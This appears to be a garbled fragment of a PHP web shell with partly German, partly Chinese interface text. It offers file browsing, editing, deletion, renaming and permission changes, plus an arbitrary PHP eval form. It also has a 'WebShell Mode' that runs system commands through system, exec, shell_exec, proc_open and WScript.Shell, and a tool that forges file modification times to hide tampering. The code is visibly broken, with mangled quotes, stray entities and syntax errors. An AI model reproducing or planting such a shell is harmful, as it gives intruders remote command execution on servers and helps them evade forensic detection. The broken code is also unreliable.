echo " Download | dir)."&editfile=".urlencode($file)."">Edit )."','".urlencode($filepath)."','Sind Sie sicher, dass Sie die $file-Datei löschen möchten?','2')">Delete | "" href="""?action=rename&dir=".urlencode($dir)."&fname=".urlencode($filepath)."">Rename """?action=newtime&dir=".urlencode($dir)."&file=".urlencode($filepath)."">Timen";
echo "< ;/tr>n";
$file_i++;
}
}// while
@closedir($dirs);
if(get_cfg_var('safemode'))$z = "(?)";
else $z = "(?)"; width).="100%" border="0" cellpadding="2" Cellspacing="0" align="center">'.$tb->makeinput('chkall' ,'on ','onclick="CheckAll(this.form)"','checkbox','30','').' Lokale Datei: '.$tb->makeinput('localfile','', '', 'text','15').''.$tb->makeinput('downrar','Paket herunterladen oder lokal speichern','','submit').' '.$dir_i.' Verzeichnisse / '.$file_i.' Dateien','center', getrowbg(),'','6');

echo "n"
echo "n"}// end dir

elseif ($_GET['action'] == "editfile") {
if(empty($newfile)) {
$filename="$dir/$editfile";
$fp=@fopen($filename,"r");
$contents=@fread($fp, filesize($filename));
$ content=htmlspecialchars($contents);
}else{
$editfile=$newfile;
$filename = "$dir/$editfile"
$action = "?dir ="".urlencode($dir)."&editfile=".$editfile;
$tb->tableheader();
$tb->formheader($action,'Neue/Datei bearbeiten');
$tb->tdbody('Aktuelle Datei: '.$tb->makeinput('editfilename',$filename).' Geben Sie einen neuen Dateinamen ein, um eine neue Datei zu erstellen. PHP-Code-Verschlüsselung: ');
$tb->tdbody($tb->maketextarea('filecontent',$contents));
$tb->makehidden('do','doeditfile ');
$tb->formfooter('1','30');
}//end editfile

elseif ($_GET['action'] == "rename" ) {
$nowfile = (isset($_POST['newname'])) ? $_POST['newname'] : basename($_GET['fname']);
$action = "?dir= ".urlencode($dir)."&fname=".urlencode($fname);
$tb->tableheader();
$tb->formheader($action,'Dateinamen ändern') ;
$tb->makehidden('oldname',$dir."/".$nowfile
$tb->makehidden('dir',$tb-); >tdbody('Aktueller Dateiname: '.basename($nowfile));
$tb->tdbody('Umbenannt in: '.$tb->makeinput('newname')); $tb->makehidden('do','rename');
$tb->formfooter('1','30');
}//end rename

elseif ($_GET['action'] == "eval") {
$action = "?dir=".urlencode($dir).""; >$tb->formheader(''.$action.' "target="_blank' ,'PHP-Skript ausführen');
$tb->tdbody($tb->maketextarea('phpcode', $contents));
$tb->formfooter('1','30');

}
elseif ($_GET['action'] == "fileperm") {
$action = "?dir=".urlencode($dir)."&file=".$file
$tb->tableheader();
$tb->formheader($action ,'Dateiattribute ändern');
$tb->tdbody('Ändern Sie die Attribute von '.$file.' zu: '.$tb->makeinput('fileperm',substr(base_convert(fileperms( $ dir.'/'.$file),10,8),-4)));
$tb->makehidden('file',$file);
$tb->makehidden( ' dir',urlencode($dir));
$tb->makehidden('do','editfileperm');
$tb->formfooter('1','30');
}//end fileperm

elseif ($_GET['action'] == "newtime") {
$action = "?dir=".urlencode($dir)
$cachemonth = array('January'=>1,' Februar'=>2,'März'=>3,'April'=>4,'Mai'=>5,'Juni'=>6,'Juli'=>7,'August' =>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
$tb->tableheader();
$tb->formheader($action,'Letzte Änderungszeit der geklonten Datei');
$tb->tdbody("Datei ändern: ".$tb->makeinput('curfile', $ file,'readonly')." → Zieldatei: ".$tb->makeinput('tarfile','Vollständiger Pfad und Dateiname erforderlich'),'center','2','30'); 🎜>$tb->makehidden('do','domodtime');
$tb->formfooter('','30');
$tb->formheader($action,' Zeitpunkt der letzten Änderung der benutzerdefinierten Datei');
$tb->tdbody('
  • Der typische Bereich gültiger Zeitstempel ist vom 13. Dezember 1901 GMT Freitag 20:45:54 bis Dienstag, 19. Januar 2038 03:14:07
    (Das Datum basiert auf den minimalen und maximalen Werten von 32-Bit-Ganzzahlen mit Vorzeichen)
  • Beschreibung: Der Tag liegt zwischen 01 und 30, die Stunde liegt zwischen 0 und 24 und die Minuten und Sekunden liegen zwischen 0 und 60!
','left'); 'Aktueller Dateiname: '.$file);
$tb->makehidden('curfile',$file);
$tb->tdbody('Ändern in: '.$ tb-> makeinput('year','1984','','text','4').' year'.$tb->makeselect(array('name'=>'month',' option'=> ;$cachemonth,'selected'=>'Oktober')).'month'.$tb->makeinput('data','18','','text','2') .' .$tb->makeinput('hour','20','','text','2').' 'text','2').'Minuten'.$tb->makeinput('second','00','','text','2').' ','30');
$tb->makehidden('do','modmytime');
$tb->formfooter('1','30'}/ /end newtime

elseif ($_GET['action'] == "shell") {
$action = "??action=shell&dir=".urlencode($dir); tb->tableheader();
$tb->tdheader('WebShell Mode');
if (substr(PHP_OS, 0, 3) == 'WIN') {
$program = isset($_POST['program']) : "c:winntsystem32cmd.exe"; ]: „/c net start > „.$pathname.“/log.txt“;
echo „
n";
$tb->tdbody('Führen Sie das Programm ohne Echo aus→ Datei: '.$tb->makeinput('program',$program).' Parameter: '.$tb ->makeinput('prog',$prog,'','text','40'). '.$tb->makeinput('','Run','','submit '),' center','2','35');
$tb->makehidden('do','programrun');
echo "
n"; >echo "
n"
if(isset($_POST['cmd '])) $cmd = $_POST['cmd'];
$tb->tdbody('Tipp: Wenn das Ausgabeergebnis unvollständig ist, empfiehlt es sich, das Ausgabeergebnis in eine Datei zu schreiben. Auf diese Weise erhalten Sie das Ganze content. ') ;
$tb->tdbody('Wenn die proc_open-Funktion nicht das Standard-Winnt-System ist, richten Sie sie bitte selbst ein. Ändern Sie sie selbst und denken Sie daran, sie zu schreiben und zu beenden, andernfalls ist der Vorgang nicht abgeschlossen verbleibt auf dem Host.');
$tb->tdbody('Der Speicherort des cmd-Programms, das von der proc_open-Funktion verwendet werden soll:'.$tb->makeinput('cmd',$cmd ,'','text','30').'(Wenn ja, sollten Sie das Linux-System selbst modifizieren)');$execfuncs = (substr(PHP_OS, 0, 3) == 'WIN') ? array('system'=>'system','passthru'=>'passthru','exec'=>'exec','shell_exec'=>'shell_exec','popen'=>'popen ','wscript'=>'Wscript.Shell','proc_open'=>'proc_open') : array('system'=>'system','passthru'=>'passthru','exec' =>'exec','shell_exec'=>'shell_exec','popen'=>'popen','proc_open'=>'proc_open'); 
$tb->tdbody('选择执行函数: '.$tb->makeselect(array('name'=>'execfunc','option'=>$execfuncs,'selected'=> ;$execfunc)).' 输入命令: '.$tb->makeinput('command',$_POST['command'],'','text','60').' ;makeinput('','Run','','submit')); 
?>